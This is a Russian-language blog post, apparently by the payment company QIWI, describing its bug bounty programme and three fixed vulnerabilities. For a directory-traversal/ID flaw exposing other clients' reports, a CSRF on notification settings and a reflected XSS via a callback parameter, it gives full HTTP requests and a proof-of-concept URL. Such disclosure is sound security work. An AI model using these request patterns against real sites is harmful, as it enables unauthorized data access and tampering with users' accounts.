Не так давно мы в QIWI запустили одну интересную программу – она называется Ethic Hack. По сути мы привлекаем всех желающих к поиску ошибок и багов в интерфейсах системы. Нашел баг, описал его в письме, получил вознаграждение от QIWI – вот так работает схема. Когда программа только запускалась, офис поделился на 2 лагеря: одни верили в успех и в возможность содействия со стороны хакеров, другие же отнеслись к этой затее скептически. Тогда сложно было объективно судить – ничего, кроме вероятных прогнозов у нас не было. А сейчас – есть. И мы как раз хотим поделиться с вами наработанными кейсами.
С момента запуска программы мы получили информацию и исправили более 150 уязвимостей. За отдельные уязвимости мы заплатили до 150 000 рублей, но именно их мы не можем опубликовать их в примерах.
Итак, программа пошла в гору. У нас накопилось немало багов, которые мы исправили благодаря содействию хакеров. Специально для вас мы выделили несколько примеров. Несколько реальных историй Ethic Hack.
История первая: читать чужие отчеты.
Уязвимый хост: sms.qiwi.ru
Тип уязвимости: Обход директории + слабая проверка ID + отсутствие проверки сессии
Что позволяет: Читать чужие отчеты и получить скоп клиентов компании и их действий :)
Где именно: sms.qiwi.ru/bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id=Как повторить: Указываете нужный ID отчета в конце + его цифры в качестве директории после Reports (123456 -> reports/12/34/56.dat). Вуаля, у вас чужой отчет :)
Полный GET запрос с примером кражи чужого отчета:
GET /bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id= HTTP/1.1
Host: sms.qiwi.ru
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: sms.qiwi.ru
Accept-Encoding: gzip, deflate
Accept-Language: ru
Referer: sms.qiwi.ru/bo/monitor/report_view.jsp?instance_id=144114
Cookie: JSESSIONID=; __utma=200106670.88940096.1367226876.1367244987.1367247574.7; __utmc=200106670; __utmz=200106670.1367247574.7.5.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site%3Aqiwi.ru%20inurl%Connection: keep-alive
Proxy-Connection: keep-alive
История вторая: как можно было менять параметры уведомлений.
Уязвимый хост
ishop.qiwi.ru
Тип уязвимости в рамках классификации OWASP TOP 10
A8 — CSRF
Где именно
ishop.qiwi.ru/notificationSave.action
Что позволяет
Уязвимость позволяет выполнить злоумышленнику изменение параметров уведомления (номер телефона, смс и т.д) пользователя при переходе этого пользователя на специально созданную злоумышленником страницу.
Как повторить
1. Войти в систему под некоторой учетной записью пользователя.
2. Выполнить настройки уведомлений.
3. Выполнить шаг 4 (тест)
4. Отправить с помощью приложения BurpSuite или аналогичного ему следующий запрос, подставив полученные сессионные значения сcookie (JSESSIONID)
POST /notificationSave.action HTTP/1.1
Host: ishop.qiwi.ru
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: ishop.qiwi.ru/notifications.action
Cookie: __utma=200106670.867508279.1368788962.1368788962.1369037765.2; __utmz=200106670.1368788962.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=200106670; JSESSIONID=;.node-ishop04.1; __utma=47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc=47471167; __utmz=47471167.1369717004.6.2.utmcsr=ishopnew.qiwi.ru|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmb=47471167.25.10.1369717004
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
phone=&incomingBillMail=true&__checkbox_incomingBillMail=true&__checkbox_outgoingBillMail=true&__checkbox_incomingPayMail=true&__checkbox_incomingPaySMS=true&__checkbox_cancelPayMail=true&__checkbox_cancelPaySMS=true
5. Перейти на страницу настроек уведомлений, убедиться в том, что изменен номер телефона и параметры уведомления
Рекомендации по устранению
Добавить скрытое поле формы, содержащее случайное значение — CSRF токен.
www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
История третья: произвольный код.
Ошибка найдена на сайте w.qiwi.ru.
Отсутствует всякая валидация и экранирование выходных данных для параметра callback в сценарии /user/communication/sendsms.action.
Возможно выполнение произвольного кода на стороне клиента.
Для проведении атаки регистрация пользователя в системе не требуется. Пользователь должен открыть сценарий javascript, предложенный броузером.
Пример запроса
GET /user/communication/sendsms.action?number=&text=111&callback=<>"'; HTTP/1.1
Host: w.qiwi.ru
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/javascript, application/javascript, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: w.qiwi.ru/communication.action
Cookie: __utma=153665022.317299647.1368525797.1368679677.1368684655.3; __utmz=153665022.1368684655.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=qiwi%20webmoney; JSESSIONID=.node-wb02.2; __utmc=153665022; __utmb=153665022.34.10.1368684655
Connection: keep-alive
Content-Length: 6
Ответ
HTTP/1.1 200 OK
Date: Thu, 16 May 2013 08:16:14 GMT
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/javascript;charset=utf-8
Content-Length: 142
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
<>"';({error:0,data:{«confirmedBySms»:true,«confirmLink»:"",«provider»:«199»,«identifier»:""},messages:[],errors:[],fieldErrors:[]})
Proof of Concept
В броузере Internet Explorer перейти по адресу
w.qiwi.ru/user/communication/sendsms.action?number=text=111&callback=WScript.Echo('XSS');
При проверке использовался броузер Internet Explorer версии 9.
Автор: efads